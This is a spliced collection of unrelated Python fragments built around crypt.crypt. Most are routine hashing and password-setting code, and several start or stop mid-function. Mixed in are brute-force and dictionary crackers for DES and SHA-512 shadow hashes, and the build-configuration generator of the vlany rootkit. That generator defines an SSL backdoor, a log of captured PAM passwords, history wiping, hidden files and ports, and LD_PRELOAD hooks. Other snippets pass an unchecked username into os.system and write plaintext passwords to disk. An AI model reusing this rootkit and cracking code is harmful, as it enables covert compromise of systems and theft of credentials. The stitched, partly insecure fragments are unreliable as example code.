from string import ascii_letters # Permutation tools. Tools to compute the permuations and combinations import itertools ''' A more secure encryption is using sha256 method m = hashlib.sha256(str(random.getrandbits(256)).encode('utf-8')).hexdigest() m = hashlib.sha256("hello".encode('utf-8')).hexdigest() ''' # Condition: upto 4 characters long, only letters (upper and/or lowercase) # 1. Get hashed password, DES-based algorithm, two parameters: 1. pwd & 2. salt, i.e. key pwd = "aaaa" salt = "50" hashed = crypt.crypt(pwd, salt) # 2. Crack hashed password # The letters we want to permuate to generate possible passwords string = ascii_letters # Where we will store the generated hash to compare against the hashed pwd comp = "" # Integer used in itertools rep = 1 while True: # The itertools is used to create all possible combinations for i in itertools.product(string, repeat=rep): s = str(''.join(i)) comp = crypt.crypt(s, salt) # The print is used for debugging purposes
def crypted(username, password): salt = crypt.crypt(password, username) crypted = crypt.crypt(password, '$1$' + salt) return crypted
def passwd_to_hash(cleartext): return crypt.crypt(cleartext, crypt.mksalt(crypt.METHOD_SHA512))
return line def createPassword(): dictionary = [ 'bucket', 'volleyball', 'loaf', 'cycle', 'daffy', 'demonic', 'cobweb', 'carriage', 'sound', 'winter', 'button' ] firstWord = random.choice(dictionary) secondWord = random.choice(dictionary) randnum = random.randint(1000, 9999) password = (firstWord.lower() + str(randnum) + secondWord.upper()) return password with open("UserNamesLvl1", 'r') as namesfile: for line in namesfile: username = createUserName(line) newpassword = createPassword() with open("UsersLvl1", 'a') as usersfile: usersfile.write("username: "******" password: "******"\n") encPass = crypt.crypt(newpassword, "22") os.system("useradd p " + encPass + " " + username) regex = (r"\b[a-z[a-z0-9]*\b") if re.search(regex, username): match = re.search(regex, username) print("username valid") else: print("username invalid")
def gen_password_hash(password, crypt_id, salt_len): collection = string.ascii_letters + string.digits salt = ''.join(random.choice(collection) for _ in range(salt_len)) salt = "${0}${1}".format(crypt_id, salt) return crypt.crypt(password, salt)
def checkPass(self, uid, password): ''' checkPass - checks the password for a given uid. :param uid: userid to be checked :type uid: string :param password: user password :type password: string :return : true in case of success, false if password does not match :rtype : boolean :todo: extend to support htpasswd passwords: http://httpd.apache.org/docs/2.2/misc/password_encryptions.html ''' log.info("[checkPass] checking password for user %s" % uid) userInfo = self.getUserInfo(uid, suppress_password=False) # adapt the encoding of the password to the encoding of the database if len(self.sqlEncoding) > 0: # FIXME: this fails at the moment #password = password.encode(self.sqlEncoding) pass # get the crypted password and the salt from the database # for doing crypt.crypt( "password", "salt" ) if "password" not in userInfo: log.error("[checkPass] password is not defined in SQL mapping!") return False # check if we have something like SHA or salted SHA m = re.match("^\{(.*)\}(.*)", userInfo["password"]) # check if we have the PHP Password Framework like it is # used in Wordpress m_php = re.match("^\$P\$(.*)", userInfo["password"]) if m: # The password field contains something like # {SHA256}abcdfef123456 hash_type = m.group(1) hash_value = m.group(2) # Check for salt field in case the db splits salt from hash: salt = None if 'salt' in userInfo: salt = userInfo['salt'] return _check_hash_type(password, hash_type, hash_value, salt=salt) elif m_php: # The Password field contains something like # '$P$BPC00gOTHbTWl6RH6ZyfYVGWkX3Wec.' return check_php_password(password, userInfo["password"]) # ------------------------------------------------------------------ -- # check the Modular Crypt Format (MCF): # # $<id>[$<param>=<value>(,<param>=<value>)*][$<salt>[$<hash>]] # # s. https://en.wikipedia.org/wiki/Crypt_%28C%29 elif userInfo["password"][0] == '$': if crypt.crypt(password, userInfo["password"]) == userInfo["password"]: log.info( "[checkPass] successfully authenticated " "user uid %s", uid) return True else: log.warning("[checkPass] user %s failed to authenticate.", uid) return False else: # ------------------------------------------------------------- -- # old style with dedicated salt from the database for doing # crypt.crypt( "password", "salt" ) salt = userInfo["password"][0:2] if "salt" in userInfo: salt = userInfo["salt"] npw = crypt.crypt(password, salt) if npw == userInfo["password"]: log.info("[checkPass] user %s authenticated successfully.", uid) return True log.warning("[checkPass] user %s failed to authenticate.", uid) return False
def test_current_user(host): assert host.user().name == "root" pw = host.user().password assert crypt.crypt("foo", pw) == pw
def __init__(self, filename, build_dir=None): self._parsed = configparser.ConfigParser() try: self._parsed.read(filename) except configparser.Error as err: raise ConfigError("Could not load the {0!r} file: {1}" .format(filename, err)) try: self._config = self._parsed["config"] except KeyError: raise ConfigError("No [config] section in build.conf") if build_dir is None: build_dir = os.path.join(os.path.dirname(filename), "build") self.build_dir = build_dir if os.path.isdir("../.git"): version = subprocess.check_output(["git", "describe", "--dirty"]) self.version = version.decode("utf-8").strip() else: self.version = self._config.get("version", fallback="unknown") self.arch = self._config.get("arch") if not self.arch: self.arch = _get_default_arch() modules = self._config.get("modules", "base,basic") self.modules = [m.strip() for m in modules.split(",")] self.module_files = [m + ".cpi" for m in self.modules] self.module_sqf_files = [m + ".sqf" for m in self.modules] self.module_lst_files = [m + ".lst" for m in self.modules] self.initramfs_files = ["_init.cpi"] self.compression = self._config.get("compression", fallback="xz") self.compress_cmd = [self.compression] if self.compression == "xz": self.compress_cmd += ["--check=crc32"] if self.compression == "gzip": self.compressed_ext = ".gz" else: self.compressed_ext = ".{0}".format(self.compression) self.compression_level = self._config.get("compression_level", fallback=None) if self.compression_level: self.compression_level = int(self.compression_level) self.compress_cmd.append("-{0}".format(self.compression_level)) self.efi = self._config.getboolean("efi", fallback=False) self.bios = self._config.getboolean("bios", fallback=True) self.net_boot = self._config.getboolean("net_boot", fallback=False) self.early_net = self._config.getboolean("early_net", fallback=False) if self.early_net: self.initramfs_files += ["_net.cpi"] self.efi_arch = self._config.get("efi_arch") if not self.efi_arch: if X86_64_RE.match(self.arch): self.efi_arch = "x64" elif X86_RE.match(self.arch): self.efi_arch = "ia32" else: self.efi_arch = None else: self.efi_arch = self.efi_arch.lower() if X86_64_RE.match(self.arch): self.bits = 64 else: self.bits = 32 grub_platforms = self._config.get("grub_platforms") if grub_platforms: self.grub_platforms = [p.strip() for p in grub_platforms.split(",")] else: self._choose_grub_platforms() if self.net_boot: self.net_grub_images = [NET_IMAGES[p] for p in self.grub_platforms if p in NET_IMAGES] else: self.net_grub_images = [] if all(os.path.exists("/lib/grub/{0}/linuxefi.mod".format(p)) for p in self.grub_platforms if p.endswith("-efi")): self.grub_linuxefi = "linuxefi" self.grub_initrdefi = "initrdefi" else: self.grub_linuxefi = "linux" self.grub_initrdefi = "initrd" if all(os.path.exists("/lib/grub/{0}/progress.mod".format(p)) for p in self.grub_platforms): self.grub_progress_mod = "progress" else: self.grub_progress_mod = "" if all(os.path.exists("/lib/grub/{0}/linuxefi.mod".format(p)) for p in self.grub_platforms if p.endswith("-efi")): self.grub_linuxefi = "linuxefi" self.grub_initrdefi = "initrdefi" else: self.grub_linuxefi = "linux" self.grub_initrdefi = "initrd" self.memtest86 = self._config.getboolean("memtest86", fallback=False) self.memtest86_plus = self._config.getboolean("memtest86+", fallback=False) if self.efi: self.efi_shell = self._config.getboolean("efi_shell", fallback=False) else: self.efi_shell = False self.hashed_root_password = self._config.get("hashed_root_password") if not self.hashed_root_password: root_password = self._config.get("root_password") if root_password: self.hashed_root_password = crypt.crypt(root_password, crypt.mksalt(crypt.METHOD_MD5)) else: self.hashed_root_password = "" locales = self._config.get("locales") if locales.strip(): self.locales = [l.strip() for l in locales.split(",")] else: self.locales = ["en_US"] self.hostname = self._config.get("hostname", fallback="pld-new-rescue") # dummy values self.uuid = uuid.UUID("0"*32) self.efi_vol_id = "0000-0000" self.cd_vol_id = "0000-00-00-00-00-00-00" self.load_uuids() self.defaults = {k[8:]: v for k, v in self._config.items() if k.startswith("default_")} if os.getuid() == 0: self.c_sudo = [] else: self.c_sudo = ["sudo"] self.extra_path = self._config.get("extra_path", None) self.update_path()
def gen_sha512(salt, password): return crypt.crypt(password, '$6$%s$' % salt)
def _set_passwd(username, admin_passwd, passwd_data, shadow_data): """set the password for username to admin_passwd The passwd_file is not modified. The shadow_file is updated. if the username is not found in both files, an exception is raised. :param username: the username :param admin_passwd: the admin password :param passwd_data: path to the passwd file :param shadow_data: path to the shadow password file :returns: nothing :raises: exception.NovaException(), IOError() """ if os.name == 'nt': raise exception.NovaException(_('Not implemented on Windows')) # encryption algo - id pairs for crypt() algos = {'SHA-512': '$6$', 'SHA-256': '$5$', 'MD5': '$1$', 'DES': ''} salt = _generate_salt() # crypt() depends on the underlying libc, and may not support all # forms of hash. We try md5 first. If we get only 13 characters back, # then the underlying crypt() didn't understand the '$n$salt' magic, # so we fall back to DES. # md5 is the default because it's widely supported. Although the # local crypt() might support stronger SHA, the target instance # might not. encrypted_passwd = crypt.crypt(admin_passwd, algos['MD5'] + salt) if len(encrypted_passwd) == 13: encrypted_passwd = crypt.crypt(admin_passwd, algos['DES'] + salt) p_file = passwd_data.split("\n") s_file = shadow_data.split("\n") # username MUST exist in passwd file or it's an error for entry in p_file: split_entry = entry.split(':') if split_entry[0] == username: break else: msg = _('User %(username)s not found in password file.') raise exception.NovaException(msg % username) # update password in the shadow file. It's an error if the # user doesn't exist. new_shadow = list() found = False for entry in s_file: split_entry = entry.split(':') if split_entry[0] == username: split_entry[1] = encrypted_passwd found = True new_entry = ':'.join(split_entry) new_shadow.append(new_entry) if not found: msg = _('User %(username)s not found in shadow file.') raise exception.NovaException(msg % username) return "\n".join(new_shadow)
if len(sys.argv) != 2: print("Usage: python crack.py hash") exit(1) MAXLENGTH = 4 hashVal = sys.argv[1] salt = hashVal[0:2] currentPas = ['A'] currentIndex = 0 currentInt = ord(currentPas[currentIndex]) while (len(currentPas) <= MAXLENGTH): while (currentInt < 123): if (crypt(strFromArray(currentPas), salt) == hashVal): print("{}".format(strFromArray(currentPas))) exit(0) currentPas[currentIndex] = chr(currentInt) currentInt += 1 while (currentIndex >= 1 and ord(currentPas[currentIndex]) >= 122): currentPas[currentIndex] = 'A' currentIndex -= 1 if (currentIndex == 0 and ord(currentPas[0]) >= 122): currentPas.append('A') currentPas[0] = 'A' currentInt = ord('A') else:
try: entries = [[ i.split(":")[0], i.split(":")[1].split("$")[2], i.split(":")[1].split("$")[3] ] for i in list(reader)] w = [p.rstrip() for p in list(dict_file)] results = [] p = "" counter_yes = 0 counter_no = 0 for i in entries: flag = True for x in w: p = crypt.crypt(x, "$6$" + i[1]) if p == "$6$" + i[1] + "$" + i[2]: flag = False s = "[+] Password Found! User: {} || Password: {}\n".format( i[0], x) print(s) counter_yes += 1 if flag: s = "[-] Password not found for User: {}\n".format(i[0]) print(s) counter_no += 1 results.append(s) end = "\n Passwords found: {} Uncracked passwords: {}\n".format( counter_yes, counter_no) print(end)
import crypt sentence= input("the the line you want to crypt: ") Salting= input("enter the salting value you want to add: ") cryptline= crypt.crypt(sentence,salt='Salting') print(cryptline)
def const_h_setup(): const_h = "" if DEBUG == True: const_h += "#define DEBUG\n" else: const_h += "#undef DEBUG\n" if VERBOSE_DEBUG == True: const_h += "#define VERBOSE_DEBUG\n" else: const_h += "#undef VERBOSE_DEBUG\n" if PAM_DEBUG == True: const_h += "#define PAM_DEBUG\n" else: const_h += "#undef PAM_DEBUG\n" if SSL_BACKDOOR == True: const_h += "#define SSL_BACKDOOR\n" else: const_h += "#undef SSL_BACKDOOR\n" if PTRACE_BUG == True: const_h += "#define PTRACE_BUG\n" else: const_h += "#undef PTRACE_BUG\n" const_h += '#define MAGIC_GID ' + str(MAGIC_GID) + '\n' const_h += '#define TERM_ENV_VAR "' + xor("TERM=xterm") + '"\n' const_h += '#define VLANY_USER "' + xor(VLANY_USER) + '"\n' const_h += '#define VLANY_PASSWORD "' + xor( crypt.crypt( VLANY_PASSWORD, "$6${0}".format(''.join( random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n' const_h += '#define PAM_PORT ' + str(PAM_PORT) + '\n' const_h += '#define VLANY_PERM "' + xor("root") + '"\n' const_h += '#define HISTFILE "' + xor("/dev/null") + '"\n' const_h += '#define BASH_RC "' + xor(INSTALL + "/.bashrc") + '"\n' const_h += '#define SSH_PASSWORDS "' + xor(INSTALL + "/pam_auth_logs") + '"\n' const_h += '#define LOG_FORMAT "' + xor( "Username: %s\nPassword: %s\n\n") + '"\n' const_h += '#define SHELL_PASSWORD "' + xor(SHELL_PASSWORD) + '"\n' const_h += '#define SHELL_MSG "' + xor(HELP_MSG) + '"\n' const_h += '#define SHELL_NAME "' + xor("vlanyrk") + '"\n' const_h += '#define SHELL_TYPE "' + xor("/bin/bash") + '"\n' const_h += '#define LOGIN "' + xor("--login") + '"\n' const_h += '#define ENV_VAR "' + xor(ENV_VAR) + '"\n' const_h += '#define EXECVE_PW "' + xor(EXECVE_PW.replace(" ", "")) + '"\n' const_h += '#define TERM "' + xor("TERM=xterm") + '"\n' const_h += '#define LIB_NAME "' + xor(LIB_NAME) + '"\n' const_h += '#define PTRACE_BUG_MSG "' + xor(PTRACE_BUG_MSG) + '"\n' const_h += '#define HIDDEN_XATTR_1_STR "' + xor(HIDDEN_XATTR_1_STR) + '"\n' const_h += '#define HIDDEN_XATTR_2_STR "' + xor(HIDDEN_XATTR_2_STR) + '"\n' const_h += '#define APT "' + xor("apt") + '"\n' const_h += '#define APT_WARNING "' + xor( "\033[1;31mTHIS FUNCTION ALLOWS YOU TO USE APT-GET WITHOUT F*****G UP DPKG'S DB.\nTHE APT-GET PROCESS WILL BE COMPLETELY VISIBLE WHILE IT IS RUNNING.\nYOU ARE POTENTIALLY RISKING YOUR OBSCURITY WHILE YOU RUN THIS COMMAND.\nYOU HAVE BEEN WARNED. PRESS ENTER TO CONTINUE. OTHERWISE, ^C TO CANCEL.\n\033[0m" ) + '"\n' const_h += '#define APT_USAGE "' + xor( "Usage: ./apt [pw] [update/install/remove] [package_name]\n") + '"\n' const_h += '#define APT_GID_SET "' + xor("SETTING GID TO 0\n") + '"\n' const_h += '#define APT_SUCCESS "' + xor( "APT-GET FINISHED AND MAGIC_GID RESET. \033[1;32mYOU ARE HIDDEN AGAIN\033[0m.\n" ) + '"\n' const_h += '#define APT_UPDATE "' + xor("update") + '"\n' const_h += '#define APT_INSTALL "' + xor("install") + '"\n' const_h += '#define APT_REMOVE "' + xor("remove") + '"\n' const_h += '#define APT_UPDATE_CMD "' + xor("apt-get update") + '"\n' const_h += '#define APT_INSTALL_CMD "' + xor( "apt-get --yes --force-yes install %s") + '"\n' const_h += '#define APT_REMOVE_CMD "' + xor( "apt-get --yes --force-yes remove %s") + '"\n' const_h += '#define XATTR "' + xor("user.%s") + '"\n' const_h += '#define HIDE_FILE "' + xor("hide") + '"\n' const_h += '#define HIDE_USAGE "' + xor( "The vlany function 'hide' requires a target path to hide in the second argument.\nUsage: ./hide <pass> <path>\n" ) + '"\n' const_h += '#define HIDE_SUCCESS "' + xor( "\033[32m%s hidden.\033[0m\n") + '"\n' const_h += '#define UNHIDE_FILE "' + xor("unhide") + '"\n' const_h += '#define UNHIDE_USAGE "' + xor( "The vlany function 'unhide' requires a target path to unhide in the second argument.\nUsage: ./unhide <pass> <path>\n" ) + '"\n' const_h += '#define UNHIDE_SUCCESS "' + xor( "\033[32m%s unhidden.\033[0m\n") + '"\n' const_h += '#define LIBC_PATH "' + xor("libc.so.6") + '"\n' const_h += '#define LIBDL_PATH "' + xor("libdl.so.1") + '"\n' const_h += '#define LIBPAM_PATH "' + xor("libpam.so.0") + '"\n' const_h += '#define LD_LINUX_SO_PATH "' + xor("*/*ld-linux*.so.*") + '"\n' const_h += '#define LD_SO_PATH "' + xor("*/*ld-*.so") + '"\n' const_h += '#define LD_TRACE_ENV_VAR "' + xor( "LD_TRACE_LOADED_OBJECTS=") + '"\n' const_h += '#define LD_DEBUG_ENV_VAR "' + xor("LD_DEBUG=") + '"\n' const_h += '#define LD_AUDIT_ENV_VAR "' + xor("LD_AUDIT=") + '"\n' const_h += '#define LD_AUDIT_GETENV "' + xor("LD_AUDIT") + '"\n' const_h += '#define HELP "' + xor("help") + '"\n' const_h += '#define LD_PRELOAD "' + xor(LD_PRELOAD) + '"\n' const_h += '#define LD_PRELOAD_ETC "' + xor( LD_PRELOAD.split("/")[-1]) + '"\n' const_h += '#define LD_PRELOAD_ENV "' + xor("LD_PRELOAD") + '"\n' const_h += '#define INSTALL "' + xor(INSTALL.split("/")[-1]) + '"\n' const_h += '#define INSTALL_DIR "' + xor(INSTALL) + '"\n' const_h += '#define LIB_LOCATION "' + xor(LIB_LOCATION) + '"\n' const_h += '#define PROC_NET_TCP "' + xor(PROC_NET_TCP) + '"\n' const_h += '#define PROC_NET_TCP6 "' + xor(PROC_NET_TCP6) + '"\n' const_h += '#define PROC_NET_STRING "' + xor( r"%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n" ) + '"\n' const_h += '#define PROC_PATH "' + xor("/proc/") + '"\n' const_h += '#define PROC_ID "' + xor("/proc/%s") + '"\n' const_h += '#define MAPS_PATH "' + xor("/proc/%d/maps") + '"\n' const_h += '#define FAKEMAPS_FILE "' + xor("/tmp/%d.fakemaps") + '"\n' const_h += '#define S_FSIZE 625824\n' const_h += '#define ENV_LINE "' + xor("%s/environ") + '"\n' const_h += '#define CMD_LINE "' + xor("%s/cmdline") + '"\n' const_h += '#define CMDLINE_SELF "' + xor("/proc/self/cmdline") + '"\n' const_h += '#define BASH "' + xor("/bin/bash --login") + '"\n' const_h += '#define _WTMP_FILE "' + xor("/var/log/wtmp") + '"\n' const_h += '#define _UTMP_FILE "' + xor("/var/run/utmp") + '"\n' const_h += '#define LASTLOG "' + xor("/var/log/lastlog") + '"\n' const_h += '#define FAKE_LASTLOG_FILE "' + xor("/tmp/.lastlog") + '"\n' const_h += '#define LOW_PORT ' + str(LOW_PORT) + '\n' const_h += '#define HIGH_PORT ' + str(HIGH_PORT) + '\n' const_h += '#define SSL_CIPHER_LIST "' + xor(SSL_CIPHER_LIST) + '"\n' const_h += '#define SUBJECT_ALT_NAME "' + xor("subjectAltName") + '"\n' const_h += '#define NS_COMMENT "' + xor("nsComment") + '"\n' const_h += '#define COMMON_NAME "' + xor("commonName") + '"\n' const_h += '#define COMMON_NAME_HOST "' + xor("localhost") + '"\n' const_h += '#define DNS "' + xor("DNS:") + '"\n' const_h += '#define DEFAULT_KEY_BITS 1024\n' const_h += '#define DEFAULT_CERT_DURATION 60 * 60 * 24 * 365\n' const_h += '#define CERTIFICATE_COMMENT "' + xor("auto") + '"\n' const_h += '#define DEFAULT_TCP_BUF_LEN (1024 * 8)\n' const_h += '#define MAX_LEN 4125\n' for x in CALLS: const_h += "#define C{0} {1}\n".format(x.upper(), cindex(x)) const_h += '#define _CSIZE ' + str(len(CALLS)) CALL_LIST = '\nstatic char *calls[_CSIZE] = {' for x in CALLS: CALL_LIST += '"{0}",'.format(xor(x)) CALL_LIST = CALL_LIST[:-1] + "};\n" const_h += CALL_LIST const_h += '#define LIBC_SIZE ' + str(len(LIBC_CALLS)) LIBC_CALL_LIST = '\nstatic char *libc_calls[LIBC_SIZE] = {' for x in LIBC_CALLS: LIBC_CALL_LIST += '"{0}",'.format(xor(x)) LIBC_CALL_LIST = LIBC_CALL_LIST[:-1] + "};\n" const_h += LIBC_CALL_LIST const_h += '#define LIBDL_SIZE ' + str(len(LIBDL_CALLS)) LIBDL_CALL_LIST = '\nstatic char *libdl_calls[LIBDL_SIZE] = {' for x in LIBDL_CALLS: LIBDL_CALL_LIST += '"{0}",'.format(xor(x)) LIBDL_CALL_LIST = LIBDL_CALL_LIST[:-1] + "};\n" const_h += LIBDL_CALL_LIST const_h += '#define LIBPAM_SIZE ' + str(len(LIBPAM_CALLS)) LIBPAM_CALL_LIST = '\nstatic char *libpam_calls[LIBPAM_SIZE] = {' for x in LIBPAM_CALLS: LIBPAM_CALL_LIST += '"{0}",'.format(xor(x)) LIBPAM_CALL_LIST = LIBPAM_CALL_LIST[:-1] + "};\n" const_h += LIBPAM_CALL_LIST const_h += '#define GPSIZE ' + str(len(GAY_PROCS)) GAY_PROCS_LIST = '\nstatic char *gay_procs_list[GPSIZE] = {' for x in GAY_PROCS: GAY_PROCS_LIST += '"{0}",'.format(xor(x)) GAY_PROCS_LIST = GAY_PROCS_LIST[:-1] + "};\n" const_h += GAY_PROCS_LIST const_h += """int hidden_ports[] = {""" + str(PAM_PORT) + """,-1};\n""" const_h += '#define HOOK(old_sym, sym) if(!old_sym) old_sym = get_symbol(RTLD_NEXT, sym)\n' const_h += '#define CLEAN(var) cleanup(var, strlen(var))\n' open("symbols/headers/const.h", "w").write(const_h)
def check_crypt(): with open('crypt') as f: line = f.readline() if line == crypt(): return True return False
identify_hasher, is_password_usable, make_password, ) from django.test import SimpleTestCase, mock from django.test.utils import override_settings from django.utils import six from django.utils.encoding import force_bytes try: import crypt except ImportError: crypt = None else: # On some platforms (e.g. OpenBSD), crypt.crypt() always return None. if crypt.crypt('', '') is None: crypt = None try: import bcrypt except ImportError: bcrypt = None try: import argon2 except ImportError: argon2 = None class PBKDF2SingleIterationHasher(PBKDF2PasswordHasher): iterations = 1
def configure_nginx(config, datalab_path, hostname): try: random_file_part = id_generator(size=20) if not exists(datalab.fab.conn, "/etc/nginx/conf.d/nginx_proxy.conf"): datalab.fab.conn.sudo('useradd -r nginx') datalab.fab.conn.sudo('rm -f /etc/nginx/conf.d/*') datalab.fab.conn.put( config['nginx_template_dir'] + 'ssn_nginx.conf', '/tmp/nginx.conf') datalab.fab.conn.put( config['nginx_template_dir'] + 'nginx_proxy.conf', '/tmp/nginx_proxy.conf') datalab.fab.conn.sudo("sed -i 's|SSN_HOSTNAME|" + hostname + "|' /tmp/nginx_proxy.conf") datalab.fab.conn.sudo('mv /tmp/nginx.conf ' + datalab_path + 'tmp/') datalab.fab.conn.sudo('mv /tmp/nginx_proxy.conf ' + datalab_path + 'tmp/') datalab.fab.conn.sudo('\cp ' + datalab_path + 'tmp/nginx.conf /etc/nginx/') datalab.fab.conn.sudo('\cp ' + datalab_path + 'tmp/nginx_proxy.conf /etc/nginx/conf.d/') datalab.fab.conn.sudo('mkdir -p /etc/nginx/locations') datalab.fab.conn.sudo('rm -f /etc/nginx/sites-enabled/default') except Exception as err: traceback.print_exc() print('Failed to configure Nginx: ', str(err)) sys.exit(1) try: if not exists(datalab.fab.conn, "/etc/nginx/locations/proxy_location_jenkins.conf"): nginx_password = id_generator() template_file = config[ 'nginx_template_dir'] + 'proxy_location_jenkins_template.conf' with open( "/tmp/%s-tmpproxy_location_jenkins_template.conf" % random_file_part, 'w') as out: with open(template_file) as tpl: for line in tpl: out.write(line) datalab.fab.conn.put( "/tmp/%s-tmpproxy_location_jenkins_template.conf" % random_file_part, '/tmp/proxy_location_jenkins.conf') datalab.fab.conn.sudo('mv /tmp/proxy_location_jenkins.conf ' + os.environ['ssn_datalab_path'] + 'tmp/') datalab.fab.conn.sudo( '\cp ' + os.environ['ssn_datalab_path'] + 'tmp/proxy_location_jenkins.conf /etc/nginx/locations/') datalab.fab.conn.sudo( '''bash -c "echo 'engineer:{}' > /etc/nginx/htpasswd"'''. format(crypt.crypt(nginx_password, id_generator()))) with open('jenkins_creds.txt', 'w+') as f: f.write("Jenkins credentials: engineer / " + nginx_password) except: return False try: datalab.fab.conn.sudo('service nginx reload') return True except: return False
for i in range(0, n): s = random.randint(0, 63) salt = salt + ch[s:s + 1] return salt print "Password Demo" p = getpass.getpass("Enter your password: "******"Your password is [%s]" % p if len(sys.argv) > 1: s_des = sys.argv[1][0:2] s_md5 = "$1$" + sys.argv[1][0:8] + "$" s_sha256 = "$5$" + sys.argv[1][0:8] + "$" s_sha512 = "$6$" + sys.argv[1][0:8] + "$" else: s_des = salt(2) s_md5 = "$1$" + salt(8) + "$" s_sha256 = "$5$" + salt(8) + "$" s_sha512 = "$6$" + salt(8) + "$" p_des = crypt.crypt(p, s_des) p_md5 = crypt.crypt(p, s_md5) p_sha256 = crypt.crypt(p, s_sha256) p_sha512 = crypt.crypt(p, s_sha512) print " DES: %2d %s" % (len(p_des) - 2, p_des) print " MD5: %2d %s" % (len(p_md5) - 12, p_md5) print " SHA256: %2d %s" % (len(p_sha256) - 12, p_sha256) print " SHA512: %2d %s" % (len(p_sha512) - 12, p_sha512)
def hash(self, u, p, s): return crypt(p, s)
#!env python # Generate password hash # See https://www.aychedee.com/2012/03/14/etc_shadow-password-hash-formats/ import crypt import getpass import numpy as np import string password = getpass.getpass() salt_len = 16 salt = ''.join( np.random.choice(list(string.ascii_letters + string.digits), salt_len)) prefix = '$6$' shadow = crypt.crypt(password, prefix + salt) print(shadow)